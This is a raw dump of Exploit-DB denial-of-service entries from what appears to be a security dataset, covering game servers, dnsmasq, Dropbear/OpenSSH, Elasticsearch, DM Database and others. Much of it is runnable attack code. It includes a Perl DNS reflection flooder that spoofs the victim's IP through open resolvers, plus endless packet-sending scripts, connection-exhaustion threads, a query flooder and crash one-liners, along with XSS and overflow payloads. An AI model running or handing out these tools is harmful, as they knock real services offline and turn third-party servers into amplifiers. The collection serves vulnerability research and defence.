deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24818
Description: Digital Illusions CE Codename Eagle - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2004-12-13
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/11887/info

A remote denial of service vulnerability reportedly affects Digital Illusions CE Codename Eagle. This issue is due to a failure of the application to properly handle exceptional network data.

An attacker may leverage this issue to cause the affected application to stop responding to network-based messages, effectively denying service to legitimate, remote users. Due to the nature of the network protocol used by the affected application an attacker may spoof their network identity, facilitating anonymous exploitation.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24818.zip
Exploit-DB #34058
Description: DM Database Server - 'SP_DEL_BAK_EXPIRED' Memory Corruption
Type: dos
Platform: multiple
Date: 2010-05-31
Author: Shennan Wang HuaweiSymantec SRT

Exploit:
source: https://www.securityfocus.com/bid/40460/info

DM Database Server is a database application.

DM Database Server is prone to a remote memory-corruption vulnerability. This issue affects the 'CALL SP_DEL_BAK_EXPIRED' function when a large string is passed to the first argument.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

CALL SP_DEL_BAK_EXPIRED('AAAAAAAAAAAAAAAAAAAA', '');
Exploit-DB #4560
Description: DNS Recursion Bandwidth Amplification - Denial of Service (PoC)
Type: dos
Platform: multiple
Date: 2007-10-23
Author: ShadowHatesYou

Exploit:
#!/usr/bin/perl
# Get Net::RawIP at http://search.cpan.org/CPAN/authors/id/S/SZ/SZABGAB/Net-RawIP-0.21_01.tar.gz
# cpan Net::DNS:Resolver seems to work fine on each machine I throw it on, as well.
# PS: To see if you can spoof, check out the ANA Spoofer project.
# http://spoofer.csail.mit.edu/
#
# Written by Shadow
# irc.dark-irc.net #thecorpz
# chemshadow@gmail.com

use Net::DNS::Resolver;
use Net::RawIP;
use strict;

# Populate this list with domain names with lots of A records. IRC server DNS pools are a good place to look.
# Maybe get a cheap throwaway domain and add your own A records.
my @name = ("irc.efnet.net", "irc.dal.net", "irc.undernet.org", "irc.freenode.net");
my $names = "3"; #number of entries in @name, minus one.

# Populate this list with ONLY open, recursive dns servers.
# http://www.dnsstuff.com/ - Block their cookies to use the site w/o paying.
my $nameservers;
my @nameservers = ("205.234.223.168", "64.202.117.121", "208.80.184.69", "200.255.59.150") #4 entries.

my $reflectors = "3"; # Number of entries in @nameservers, minus one.
my $debug = 1; # Change to 0 if you don't wanna have your console flooded.

##########################
# END USER CONFIGURATION #
##########################

my $str;
my $name;
my $src_ip;
my $reflector;
$src_ip = $ARGV[0];

if ($ARGV[0] eq '') { print "Usage: " . $0 . " <IP>\n"; exit(0); }
print ("Hitting $ARGV[0]\n");

for (my $i=0; $i < 256; $i++) {
    # Make DNS packet
    my $dnspacket = new Net::DNS::Packet($str, "A", "IN");
    my $dnsdata = $dnspacket->data;
    my $sock = new Net::RawIP({udp=>{}});
    # send packet
    $str = @name[int rand($names)];                            # Select entry from @name
    $reflector = $nameservers[int rand($reflectors)];          # Select entry from @nameservers
    $sock->set({ip => {
                saddr => $src_ip, daddr => "$reflector", frag_off=>0,tos=>0,id=>1565},
                udp => {source => 53,
                dest => 53, data=>$dnsdata
                } });
    $sock->send;
    if ($debug eq "1") { print "Me -> " . $reflector . "(DNSing " . $str . ")" . " -> " . $src_ip . " \n"; }
    $i = 0;
}
exit(0);

# milw0rm.com [2007-10-23]
Exploit-DB #24610
Description: DNS4Me 3.0 - Denial of Service / Cross-Site Scripting
Type: dos
Platform: multiple
Date: 2004-09-17
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11213/info

DNS4Me is reported to be susceptible to a denial of service vulnerability, and a cross-site scripting vulnerability. These vulnerabilities affect the built-in web server contained in the package.

The first vulnerability reportedly allows attackers to cause the web server to consume all available CPU resources, and eventually crash the application.

The second vulnerability is due to a failure of the application to properly sanitize user-supplied URI input. This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

Although these vulnerabilities are reported to exist in version 3.0.0.4 of DNS4Me, other versions may also be affected.

http://www.example.com/?%3E%3Cscript%3Ealert('XSS')%3C/script%3E
Exploit-DB #42945
Description: Dnsmasq < 2.78 - Lack of free() Denial of Service
Type: dos
Platform: multiple
Date: 2017-10-02
Author: Google Security Research

Exploit:
'''
Sources:
https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14495.py
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html

dnsmasq is vulnerable only if one of the following option is specified: --add-mac, --add-cpe-id or --add-subnet.

'''

#!/usr/bin/python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
#  Fermin J. Serna <fjserna@google.com>
#  Felix Wilhelm <fwilhelm@google.com>
#  Gabriel Campana <gbrl@google.com>
#  Kevin Hamacher <hamacher@google.com>
#  Gynvael Coldwin <gynvael@google.com>
#  Ron Bowes - Xoogler :/

import socket
import sys


def oom():
  data = '''01 0d 08 1b 00 01 00 00  00 00 00 02 00 00 29 04
00 00 29 00 00 00 03 00  00 01 13 00 08 01 13 79
00 00 00 00 00
  '''.replace(' ', '').replace('\n', '').decode('hex')
  data = data.replace('\x00\x01\x13\x00', '\x7f\x00\x00\x01')
  return data

if __name__ == '__main__':
  if len(sys.argv) != 3:
    print 'Usage: %s <ip> <port>' % sys.argv[0]
    sys.exit(0)

  ip = sys.argv[1]
  port = int(sys.argv[2])

  packet = oom()

  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  s.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST, 1)
  while True:
    s.sendto(packet, (ip, port))
    #break
  s.close()
Exploit-DB #27566
Description: Doomsday 1.8/1.9 - Multiple Remote Format String Vulnerabilities
Type: dos
Platform: multiple
Date: 2005-04-03
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/17369/info

Doomsday is prone to multiple remote format-string vulnerabilities.

These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary code in the context of the vulnerable application or crash the affected game server, effectively denying service to legitimate users.

Telnet to TCP port 13209 and issue the following command:
JOIN 1234 %n%n%n%n%n%n
Exploit-DB #10004
Description: Dopewars Server 1.5.12 - Denial of Service
Type: dos
Platform: multiple
Date: 2009-10-06
Author: Doug Prostko

Exploit:
## Description ##

The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation.

## POC ##

ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902

## Fix ##

This issue is resolved in the SVN version of the application.

## Discovered by Doug Prostko
Exploit-DB #1572
Description: Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service
Type: dos
Platform: multiple
Date: 2006-03-10
Author: str0ke

Exploit:
#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#        if (childpipes[j] < 0) {
#                break;
#        }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#        /* no free connections */
#        /* TODO - possibly log, though this would be an easy way
#         * to fill logs/disk */
#        close(childsock);
#        continue;
# }
## /str0ke (milw0rm.com)

use IO::Socket;
use Thread;
use strict;

# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;

sub usage
{
	print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
	print "by /str0ke (milw0rm.com)\n";
	print "Credits to Pablo Fernandez\n";
	print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
	exit ();
}

sub exploit
{
	my ($serv, $port, $sleep) = @_;
	my $sock = new IO::Socket::INET ( PeerAddr => $serv,
	PeerPort => $port,
	Proto => 'tcp',
	);

	die "Could not create socket: $!\n" unless $sock;
	sleep $sleep;
	close($sock);
}

sub thread {
	print "Server: $serv\nPort: $port\nSeconds: $time\n";
	for my $i ( 1 .. 51 ) {
		print ".";
		my $thr = new Thread \&exploit, $serv, $port, $time;
	}
	sleep $time; #detach wouldn't be good
}

if (@ARGV != 3){&usage;}else{&thread;}

# milw0rm.com [2006-03-10]
Exploit-DB #2303
Description: dsock 1.3 - 'buf' Remote Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2006-09-05
Author: DaveK

Exploit:
<!--
dsock <= 1.3 (buf) Remote Buffer Overflow PoC

Original Author:
Michael Adams <parasite [a] sdf.lonestar.org>

A buffer overflow in variable 'buf' exists due to insufficient validation
of variable 'name' in function tor_resolve line 218 of software at
http://www.monkey.org/~dugsong/dsocks/

url PoC: DaveK

At a quick glance, this looks like it could indeed be overflowed quite
trivially by passing an overlong name to any of the host lookup functions
proxied by dsocks.  It therefore seems that it could quite easily be
triggered remotely by, for example, a web page with an include/iframe using
an overlong URL.

 I would advise anyone currently using dsocks to click here:

 -->
 
<a href="http://foo[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]234567890.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaveryverylongname.com.invalid/">Click Me For A Test Crash</a>

<!--

and if they crash their dsocks-enabled web-browser, to stop using it very
quickly indeed.

   cheers,
     DaveK
-->

# milw0rm.com [2006-09-05]
Exploit-DB #28491
Description: DSocks 1.3 - 'Name' Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2006-09-05
Author: Michael Adams

Exploit:
source: https://www.securityfocus.com/bid/19852/info

Dsocks is prone to a remote buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

An attacker may exploit this vulnerability to execute arbitrary code in the context of the user running the application or to crash the application, resulting in denial-of-service conditions.

http://foo[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]23[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]4[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]567890.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAveryvery longname.com.invalid/
Exploit-DB #27108
Description: Dual DHCP DNS Server 1.0 - DHCP Options Remote Buffer Overflow
Type: dos
Platform: multiple
Date: 2006-01-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/16298/info

Dual DHCP DNS Server is prone to a remote buffer overflow vulnerability.

The vulnerability presents itself when the server handles excessive data through the DHCP options field.

Successful exploitation can allow attackers to trigger a denial of service condition or execute arbitrary code to gain unauthorized remote access in the context of the affected server.

Dual DHCP DNS Server 1.0 is reported to be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27108.zip
Exploit-DB #24247
Description: Easy Chat Server 1.x - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2004-07-02
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/10649/info

It is reported that Easy Chat Server is susceptible to multiple denial of service vulnerabilities.

The chat software is implemented as a web server serving a chat web application to clients. The software is reported to contain two denial of service vulnerabilities. The application improperly sanitizes user supplied URI data, and cannot handle large numbers of anonymous users created in chat rooms.

An attacker with remote access to an affected instance of this application could use these vulnerabilities to crash the service, denying service to legitimate users.

An example of a long username URI:
http://www.example.com/chat.ghp?username=aaaa[ 295 of a ]aaaa&password=&room=1&sex=0

An example of creating a fake user:
http://www.example.com/chat.ghp?username=FakeUser&password=&room=1&sex=0
Exploit-DB #30856
Description: Easy File Sharing Web Server 1.3x/4.5 - Directory Traversal / Multiple Information Disclosure Vulnerabilities
Type: dos
Platform: multiple
Date: 2007-12-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/26771/info

Easy File Sharing Web Server is prone to a directory-traversal and multiple information-disclosure vulnerabilities.

Successfully exploiting these issues allows remote attackers to upload files to arbitrary locations and to access potentially sensitive information, which may aid in further attacks.

Easy File Sharing Web Server 4.5 is vulnerable to these issues; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30856.zip
Exploit-DB #34248
Description: EDItran Communications Platform (editcp) 4.1 - Remote Buffer Overflow
Type: dos
Platform: multiple
Date: 2010-07-05
Author: Pedro Andujar

Exploit:
source: https://www.securityfocus.com/bid/41342/info

EDItran Communications Platform (editcp) is prone to a remote buffer-overflow vulnerability because it fails to properly validate user-supplied input before copying it into a fixed-length buffer.

Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed attacks may cause a denial-of-service condition.

editcp 4.1 R7 is vulnerable; other versions may also be affected.

$ perl -e '{print "A"x100}' | nc www.example.com:7777
Exploit-DB #23390
Description: EffectOffice Server 2.6 - Remote Service Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2003-11-20
Author: D_BuG

Exploit:
source: https://www.securityfocus.com/bid/9077/info

A problem has been reported the service used by EffectOffice Server. Because of this, it may be possible for a remote user to deny service to legitimate users of the software. 

hacker# telnet
telnet> open
(to) attackhost 56004
Trying attackhost......
Connected to attackhost.
Escape character is '^]'.
aaaaaaaaaa
aaaaaaaaaa
aaaaaaaaaa
aaaaaaaaaa
^]
telnet>close
telnet>quit
hacker#

Crash service
Exploit-DB #8695
Description: Eggdrop/Windrop 1.6.19 - ctcpbuf Remote Crash
Type: dos
Platform: multiple
Date: 2009-05-15
Author: Thomas Sader

Exploit:
eggdrop/windrop remote crash vulnerability

    * This message: [ Message body ] [ More options ]
    * Related messages: [ Next message ] [ Previous message ] [ Next in thread ] [ Replies ]

From: Thomas Sader <thommey_at_gmail.com>
Date: Fri, 15 May 2009 05:54:08 +0200

Affected software
-----------------

eggdrop (1.6.19 only, not 1.6.19+ctcpfix)
windrop (1.6.19 only, not 1.6.19+ctcpfix)
all eggdrop/windrop versions and packages which apply Nico Goldes
patch for CVE-2007-2807/SA25276 See: [1]

Vulnerability details
---------------------

The SA25276 patch ([1]) uses strncpy to fix a buffer overflow vulnerability
in src/mod/server.mod/servmsg.c (gotmsg). The last argument is not checked
for being non-negative, but that can happen if ctcpbuf is "". That causes
a remote crash vulnerability to be exploited by anyone connected to the same
IRC network as eggdrop. The SA25276 patch has been applied to the eggdrop1.6.18
debian package and was later adopted by Eggheads into eggdrop1.6.19.

One possible exploit anyone can send to the IRC server to crash eggdrop:

PRIVMSG eggdrop :\1\1

Resolution
----------

Upgrade to eggdrop/windrop 1.6.19+ctcpfix ([2],[3]), the current cvs versions,
or apply the ctcpfix patch at [2] before compiling.

Disclosure timeline
-------------------

2009-05-06: Vulnerability discovered and reported to Eggheads.
2009-05-06: Patch committed to cvs.
2009-05-14: New eggdrop and windrop version released with the fix applied.
2009-05-14: Public disclosure.

References
----------

[1] http://bugzilla.eggheads.org/show_bug.cgi?id=462
    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=427157
    https://www.securityfocus.com/bid/24070
    http://secunia.com/advisories/25276
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2807

[2] http://www.eggheads.org/downloads/
[3] http://windrop.sourceforge.net/downloads.html

---
Thomas Sader (thommey)

# milw0rm.com [2009-05-15]
Exploit-DB #51787
Description: Elasticsearch - StackOverflow DoS
Type: dos
Platform: multiple
Date: 2024-02-09
Author: TOUHAMI Kasbaoui

Exploit:
# Exploit Author: TOUHAMI KASBAOUI
# Vendor Homepage: https://elastic.co/
# Version: 8.5.3 / OpenSearch
# Tested on: Ubuntu 20.04 LTS
# CVE : CVE-2023-31419
# Ref: https://github.com/sqrtZeroKnowledge/Elasticsearch-Exploit-CVE-2023-31419

import requests
import random
import string

es_url = 'http://localhost:9200'  # Replace with your Elasticsearch server URL
index_name = '*'

payload = "/*" * 10000 + "\\" +"'" * 999

verify_ssl = False

username = 'elastic'
[CREDENTIAL_REDACTED]'

auth = (username, password)

num_queries = 100

for _ in range(num_queries):
    symbols = ''.join(random.choice(string.ascii_letters + string.digits + '^') for _ in range(5000))
    search_query = {
        "query": {
            "match": {
                "message": (symbols * 9000) + payload
            }
        }
    }

    print(f"Query {_ + 1} - Search Query:")

    search_endpoint = f'{es_url}/{index_name}/_search'
    response = requests.get(search_endpoint, json=search_query, verify=verify_ssl, auth=auth)

    if response.status_code == 200:
        search_results = response.json()

        print(f"Query {_ + 1} - Response:")
        print(search_results)

        total_hits = search_results['hits']['total']['value']
        print(f"Query {_ + 1}: Total hits: {total_hits}")

        for hit in search_results['hits']['hits']:
            source_data = hit['_source']
            print("Payload result: {search_results}")
    else:
        print(f"Error for query {_ + 1}: {response.status_code} - {response.text}")
Exploit-DB #22223
Description: Epic Games Unreal Engine 436 - Client Unreal URL Denial of Service
Type: dos
Platform: multiple
Date: 2003-02-05
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/6774/info

t has been reported that a memory corruption bug exists in games based on the Unreal Engine. Under some circumstances, when the game client connects to a server using a excessive length Unreal URL it may be possible for the malformed URL to write over sensitive areas of stack memory causing the client to crash.

unreal://(261 chars)[EIP_byte2][EIP_byte1]
unreal://(258 chars)
Exploit-DB #30513
Description: Epic Games Unreal Engine Logging Function - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2007-08-20
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25374/info

The Unreal Engine is prone to a remote denial-of-service vulnerability because the application fails to properly bounds-check user-supplied input.

Successfully exploiting this issue allows remote attackers to corrupt application memory in a manner that causes a crash. Remote code execution may be possible, but this has not been confirmed.

Versions of Unreal Engine that are included in Unreal Tournament 2003 and 2004 are vulnerable. Given the reuse of the engine in multiple other products, other games and versions are also likely vulnerable.

This vulnerability also affects America's Army 2.8.2 when Punkbuster is enabled on the local server; other versions may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30513-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30513-2.zip
Exploit-DB #21593
Description: Epic Games Unreal Tournament Server 436.0 - Denial of Service Amplifier
Type: dos
Platform: multiple
Date: 2002-07-03
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/5148/info

Unreal Tournament is a game produced by Epic Games, available for Microsoft Windows and Linux. Network play is supported. A vulnerability has been reported in the server used for network play.

It is possible to use an Unreal Tournament server as an amplifyer in a flooding attack, by transmiting multiple UDP packets with a spoofed victim IP address. The server will make repeated attempts to initiate a connection with the specified address, consuming network resources. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21593.tgz